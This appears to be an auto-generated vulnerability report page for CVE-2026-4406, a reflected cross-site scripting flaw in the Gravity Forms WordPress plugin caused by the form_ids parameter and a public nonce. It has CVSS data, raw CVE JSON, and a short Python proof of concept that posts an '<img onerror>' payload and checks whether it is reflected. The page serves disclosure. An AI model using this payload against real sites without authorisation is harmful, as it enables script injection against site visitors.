Security Vulnerability Report
中文
CVE-2026-4406 CVSS 4.7 MEDIUM

CVE-2026-4406

Published: 2026-04-08 00:16:05
Last Modified: 2026-04-27 19:04:23

Description

The Gravity Forms plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the `form_ids` parameter in the `gform_get_config` AJAX action in all versions up to, and including, 2.9.30. This is due to the `GFCommon::send_json()` method outputting JSON-encoded data wrapped in HTML comment delimiters using `echo` and `wp_die()`, which serves the response with a `Content-Type: text/html` header instead of `application/json`. The `wp_json_encode()` function does not HTML-encode angle brackets within JSON string values, allowing injected HTML/script tags in `form_ids` array values to be parsed and executed by the browser. The required `config_nonce` is generated with `wp_create_nonce('gform_config_ajax')` and is publicly embedded on every page that renders a Gravity Forms form, making it identical for all unauthenticated visitors within the same 12-hour nonce tick. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. This vulnerability cannot be exploited against users who are authenticated on the target system, but could be used to alter the target page.

CVSS Details

CVSS Score
4.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Gravity Forms <= 2.9.30

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target_url = "http://example.com/wp-admin/admin-ajax.php" # The nonce is publicly available in the page source for 12 hours. # Extract this from the page source or use a known valid nonce. config_nonce = "PUBLIC_NONCE_VALUE_FROM_PAGE" # Malicious payload to inject xss_payload = '<img src=x onerror=alert(1)>' # Data payload for the POST request post_data = { "action": "gform_get_config", "config_nonce": config_nonce, "form_ids[0]": xss_payload # Injecting into the form_ids parameter } try: response = requests.post(target_url, data=post_data) # Check if the response Content-Type is text/html content_type = response.headers.get('Content-Type') print(f"Response Content-Type: {content_type}") # Verify if the payload is reflected in the response if xss_payload in response.text: print("[+] Vulnerability confirmed! Payload is reflected in the response.") print("Response snippet:", response.text[:200]) else: print("[-] Payload not reflected or nonce might be invalid.") except Exception as e: print(f"Error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4406", "sourceIdentifier": "[email protected]", "published": "2026-04-08T00:16:05.490", "lastModified": "2026-04-27T19:04:22.650", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Gravity Forms plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the `form_ids` parameter in the `gform_get_config` AJAX action in all versions up to, and including, 2.9.30. This is due to the `GFCommon::send_json()` method outputting JSON-encoded data wrapped in HTML comment delimiters using `echo` and `wp_die()`, which serves the response with a `Content-Type: text/html` header instead of `application/json`. The `wp_json_encode()` function does not HTML-encode angle brackets within JSON string values, allowing injected HTML/script tags in `form_ids` array values to be parsed and executed by the browser. The required `config_nonce` is generated with `wp_create_nonce('gform_config_ajax')` and is publicly embedded on every page that renders a Gravity Forms form, making it identical for all unauthenticated visitors within the same 12-hour nonce tick. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. This vulnerability cannot be exploited against users who are authenticated on the target system, but could be used to alter the target page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://docs.gravityforms.com/gravityforms-change-log/", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/gravityforms/trunk/common.php#L8267", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/gravityforms/trunk/includes/config/class-gf-config-collection.php#L56", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/gravityforms/trunk/includes/config/class-gf-config-service-provider.php#L144", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/gravityforms/trunk/includes/config/items/class-gf-config-global.php#L22", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/4126d452-65a9-48f5-a3f5-5be1b8fff80c?source=cve", "source": "[email protected]"}]}}